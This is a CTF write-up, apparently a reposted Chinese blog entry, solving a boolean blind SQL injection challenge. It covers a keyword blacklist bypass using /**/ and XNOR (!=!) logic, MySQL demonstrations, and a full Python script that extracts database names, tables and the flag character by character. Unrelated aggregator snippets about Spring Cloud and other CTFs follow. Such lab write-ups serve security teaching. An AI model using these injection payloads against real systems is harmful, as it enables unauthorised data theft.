代码编织梦想

https://www.ctfer.vip/problem/2075

在这里插入图片描述
根据输入框的提示传入tarnish返回如下

在这里插入图片描述
简单测试下发现黑名单:hacker!!black_list is /if|and|\s|#|--/i

把注释符号都过滤了,可以使用闭合的方法构造注入,空格使用/**/绕过

这里采用同或(!=!)来构造注入

同或 !=! 的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
mysql> select 1 !=! 0 !=! 1;
+---------------+
| 1 !=! 0 !=! 1 |
+---------------+
|             0 |
+---------------+
1 row in set (0.01 sec)

mysql> select 1 !=! 1 !=! 1;
+---------------+
| 1 !=! 1 !=! 1 |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

mysql> select * from users where uid=1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
|   1 | admin    | admin    |
+-----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where uid=1 !=! 0 !=! 1;
+-----+---------------+----------------------------------+
| uid | username      | password                         |
+-----+---------------+----------------------------------+
|   2 | mochu7        | mochu7                           |
|   3 | flag          | flag{The_Sql_F14g_0f_mochu7}     |
|   0 | Administrator | 874a0300d72a3676c4413ce52454eff7 |
|   4 | testuser      | 123456                           |
+-----+---------------+----------------------------------+
4 rows in set (0.00 sec)

mysql> select * from users where uid=1 !=! 1 !=! 1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
|   1 | admin    | admin    |
+-----+----------+----------+
1 row in set (0.00 sec)
username=tarnish'!=!(1)!=!'1  (True !=! True !=! True) == True
username=tarnish'!=!(0)!=!'1  (True !=! False !=! True) == False

在这里插入图片描述
在这里插入图片描述
布尔盲注,脚本跑

import requests

asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
burp0_url = "http://1.14.71.254:28085/"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", 
				 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
				 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
				 "Accept-Encoding": "gzip, deflate", 
				 "Content-Type": "application/x-www-form-urlencoded"
				 }
content = ''
for i in range(1, 100):
	for s in asc_str:
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1))={})/**/!=!/**/'1".format(i, ord(s))
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test'),{},1))={})/**/!=!/**/'1".format(i, ord(s))
		# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))={})/**/!=!/**/'1".format(i, ord(s))
		payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),{},1))={})/**/!=!/**/'1".format(i, ord(s))	
		burp0_data = {"username": payload}
		resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
		if 'string(39)' in resp.text:
			content += s
			print(content)

最笨的办法,比较慢,需要多等一会,追求效率可以使用二分法。

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/mochu7777777/article/details/126513547

熔断器——Netflix Hystrix和微服务网关——Netflix Zuul-爱代码爱编程

为什么要使用熔断器 在微服务架构中通常会有多个服务层调用,基础服务的故障可能会导致级联故障, 进而造成整个系统不可用的情况,这种现象被称为服务雪崩效应。服务雪崩效应是一种 因“服务提供者”的不可用导致“服务消费者”的不可用,并将不可用逐渐放大的过程。 如下图所示:A作为服务提供者,B为A的服务消费者,C和D是B的服务消费者。A 不可用引起了B的不可用,

个人博客 毕业设计7--Spring Cloud-爱代码爱编程

一、概述 spring cloud其实是一个集合啦,不是什么新的技术,把一堆的技术,像spring boot那样打包好来用。用spring cloud必须得用到spring boot。 主要框架 服务发现——Netflix Eureka服务调用——Netflix Feign熔断器——Netflix Hystrix :是一个处理错误的东西。发生某些错误

[NSSCTF 2022 Spring Recruit] Crypto wp-爱代码爱编程

[NSSCTF 2022 Spring Recruit] Crypto wp classic 题目 UZZJAM{UIXETGR7TMWD42SKTCWEP4AG_mhrlmshnayfihzl} 第一层是凯撒密码 NSSCTF{NBQXMZK7MFPW42LDMVPXI4TZ_fakeflagtrybase} 稍微有点英语基础就知道fak

SpringCore RCE 1day漏洞复现(NSSCTF Spring Core RCE)-爱代码爱编程

文章目录 漏洞描述:漏洞影响范围:复现过程解决方案(临时):临时方案1:WAF临时策略临时方案2:临时缓解措施 漏洞描述: 作为目前全球最受欢迎的Java轻量级开源框架,Spring允许开发人员专注于业务逻辑,简化Java企业级应用的开发周期。 但在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架

CTF-Vigenere-爱代码爱编程

题目内容: 二战的鹰酱截获了敌军发送的密报,但是关于如何破解却无从下手。经过密码学专家分析,这是“不可破译的密码”。但那已经是上个世纪的事了,现在,我相信你肯定有办法。flag提交前添加flag{} ## 解题步骤 1.下载附件打开可以看见是个txt文件,文件内容如下: cvnwvk lqae bw wzgy czxrxlm gnaoiiaafy.

springcloud的快速入门教程_springcloud教程_老达摩#的博客-爱代码爱编程

1.Spring Cloud入门 1.Springcloud 1.1 什么是微服务架构 微服务架构就是将单体的应用程序分成多个应用程序,这多个应用程序就成为微服务,每个微服务 运行在自己的进程中,并使用轻量级的机制通信

springboot使用springdatajpa通过方法名查询_jpa根据方法名查询-爱代码爱编程

文章目录 JPA方法名查询1. 方法名表图2. 举例说明3. 测试 JPA依赖及配置在这篇文章: SpringBoot框架使用SpringDataJPA JPA方法名查询 约定方法名一定要根